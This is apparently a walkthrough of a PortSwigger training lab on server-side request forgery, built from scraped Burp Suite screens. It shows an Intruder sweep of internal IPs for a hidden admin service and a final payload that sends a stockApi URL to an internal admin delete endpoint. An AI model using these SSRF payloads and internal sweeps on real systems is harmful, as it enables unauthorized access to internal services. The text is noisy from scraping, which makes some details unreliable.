

## Lab: Basic SSRF against another back-end system

Lab link: <https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system>

### Description:

At some time or another, we've all had that dry mouth feeling when eating a cracker. If we didn't, no-one would bet how many crackers we can eat in one sitting. Here at Barnaby Smudge, we have baked the solution. Hydrated Crackers.

Each cracker has a million tiny pores which release moisture as you chew, imagine popping a bubble, it's just like that. No more choking or having your tongue stick to your teeth and the roof of your mouth.

How many times have you asked yourself, 'why?' Why are these crackers so dry. We are responding to popular public opinion that dry crackers should be a thing of the past. You can set up your own cracker eating contests, but make sure you supply your own packet; explain you are wheat intolerant and have to eat these special biscuits, but no sharing.

Due to the scientific process that goes into making each individual cracker the cost might seem prohibitive for something as small as a snack. But, we know you can't put a price on hydration, with the added bonus of not spitting crumbs at people. Pick up a packet today.

London

Check stock

< Return to list

Intercept HTTP history WebSockets history Options

Request to https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net:443 [18.200.141.238]

Forward Drop Intercept is on Action Open Browser

Pretty Raw Hex

```
1 POST /product/stock HTTP/1.1
2 Host: acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net
3 Cookie: session=$TWPhlMbm4otKQdfP6GitG5xopH0qdm
4 Content-Length: 96
5 Sec-Ch-Ua: "(Not A:Brand";v="8", "Chromium";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net/product?productId=2
16 Accept-Encoding: gzip, deflate
17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
18 Connection: close
19
20 stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1
```

Scan

Send to Intruder

Send to Repeater Ctrl+R

Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser

Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net

Update Host header to match target

Add \$

Clear \$

Clear all payload markers

Refresh

```
1 POST /product/stock HTTP/1.1
2 Host: acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net
3 Cookie: session=$TWPhlMbm4otKQdfP6GitG5xopH0qdm
4 Content-Length: 96
5 Sec-Ch-Ua: "(Not A:Brand";v="8", "Chromium";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net/product?productId=2
16 Accept-Encoding: gzip, deflate
17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
18 Connection: close
19
20 stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1
```

Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net

Update Host header to match target

Add \$

Auto \$

Refresh

Insert a new payload marker

```
1 POST /product/stock HTTP/1.1
2 Host: acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net
3 Cookie: session=$TWPhlMbm4otKQdfP6GitG5xopH0qdm
4 Content-Length: 96
5 Sec-Ch-Ua: "(Not A:Brand";v="8", "Chromium";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://acaa1f11f55bd8dc02b25ed007b0012.web-security-academy.net/product?productId=2
16 Accept-Encoding: gzip, deflate
17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
18 Connection: close
19
20 stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1
```

Comparator

Dashboard

1 x

2 x

3 x

4 x

5 x

...

Logger

Target

1 x

2 x

3 x

4 x

5 x

...

Extender

Proxy

1 x

2 x

3 x

4 x

5 x

...

Project options

Intruder

1 x

2 x

3 x

4 x

5 x

...

User options

Repeater

1 x

2 x

3 x

4 x

5 x

...

Sequencer

1 x

2 x

3 x

4 x

5 x

...

Decoder

1 x

2 x

3 x

4 x

5 x

...

Positions

1 x

2 x

3 x

4 x

5 x

...

Payloads

1 x

2 x

3 x

4 x

5 x

...

Resource Pool

1 x

2 x

3 x

4 x

5 x

...

Options

1 x

2 x

3 x

4 x

5 x

...

?

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set:

1

▼

Payload count:

255

Payload type:

Numbers

▼

Request count:

510

?

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type:

☒ Sequential ☐ Random

From:

1

To:

255

Step:

1

How many:

Request	Payload	Status ^	Error	Timeout	Length	Comment
142	142	200			3022	
0		400			133	
1	1	400			133	
2	2	500			2277	
3	3	500			2277	
4	4	500			2277	
5	5	500			2277	
6	6	500			2277	
7	7	500			2277	
8	8	500			2277	
9	9	500			2277	
10	10	500			2277	
11	11	500			2277	
12	12	500			2277	
13	13	500			2277	
14	14	500			2277	
15	15	500			2277	
16	16	500			2277	
17	17	500			2277	

RequestResponse

PrettyRawHex

1 POST /product/stock HTTP/1.1

2 Host: acc51f711e5e447ac07e22d300bd004d.web-security-academy.net

3 Cookie: session=z4dGnuU0gx0ssH9ZDTEaV3r0ZmigUzi

4 Content-Length: 40

5 Sec-Ch-Ua: "(Not A:Brand";v="8", "Chromium";v="99"

6 Sec-Ch-Ua-Mobile: ?0

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

8 Sec-Ch-Ua-Platform: "Windows"

9 Content-Type: application/x-www-form-urlencoded

10 Accept: \*/\*

11 Origin: https://acc51f711e5e447ac07e22d300bd004d.web-security-academy.net

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer: https://acc51f711e5e447ac07e22d300bd004d.web-security-academy.net/product?productId=1

16 Accept-Encoding: gzip, deflate

17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

18 Connection: close

19

20 stockApi=http://192.168.0.142:8080/admin

burp project intruder repeater window help

burp suite community edition v2022.2.4 - temporary project

Dashboard

Target

Proxy

Intruder

Repeater

Sequencer

Decoder

Comparator

Logger

Extender

Project options

User options

Learn

1 x

6 x

...

Send

Cancel

< >

Target: https://acc51f711e5e447ac07e22d300bd004d.web-security-academy.net

Request

Response

PrettyRawHex

1 POST /product/stock HTTP/1.1

2 Host: acc51f711e5e447ac07e22d300bd004d.web-security-academy.net

3 Cookie: session=z4dGnuU0gx0ssH9ZDTEaV3r0ZmigUzi

4 Content-Length: 40

5 Sec-Ch-Ua: "(Not A:Brand";v="8", "Chromium";v="99"

6 Sec-Ch-Ua-Mobile: ?0

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

8 Sec-Ch-Ua-Platform: "Windows"

9 Content-Type: application/x-www-form-urlencoded

10 Accept: \*/\*

11 Origin: https://acc51f711e5e447ac07e22d300bd004d.web-security-academy.net

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer: https://acc51f711e5e447ac07e22d300bd004d.web-security-academy.net/product?productId=1

16 Accept-Encoding: gzip, deflate

17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

18 Connection: close

19

20 stockApi=http://192.168.0.142:8080/admin

PrettyRawHexRender

48 <a href="/my-account">

49 My account

50 </a>

51 </p>

52 </section>

53 </div>

54 </div>

55 </div>

56 </div>

57 </div>

58 </div>

59 </div>

Request

PrettyRawHex

```
1 POST /product/stock HTTP/1.1
2 Host: acc51f711e5e447ac07e22d300bd004d.web-security-academy.net
3 Cookie: session=z44GnuU0gx0ssNS2DTREAV3r0ZmaigUzi
4 Content-Length: 63
5 Sec-Ch-Ua: "(Not A:Brand";v="8", "Chromium";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/99.0.4844.74 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://acc51f711e5e447ac07e22d300bd004d.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer:
  https://acc51f711e5e447ac07e22d300bd004d.web-security-academy.net/product?product
  Id=1
16 Accept-Encoding: gzip, deflate
17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
18 Connection: close
19
20 stock&pi=http://192.168.0.142:8080/admin/delete?username=carlos
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 302 Found
2 Location: http://192.168.0.142:8080/admin
3 Connection: close
4 Content-Length: 0
5
6
```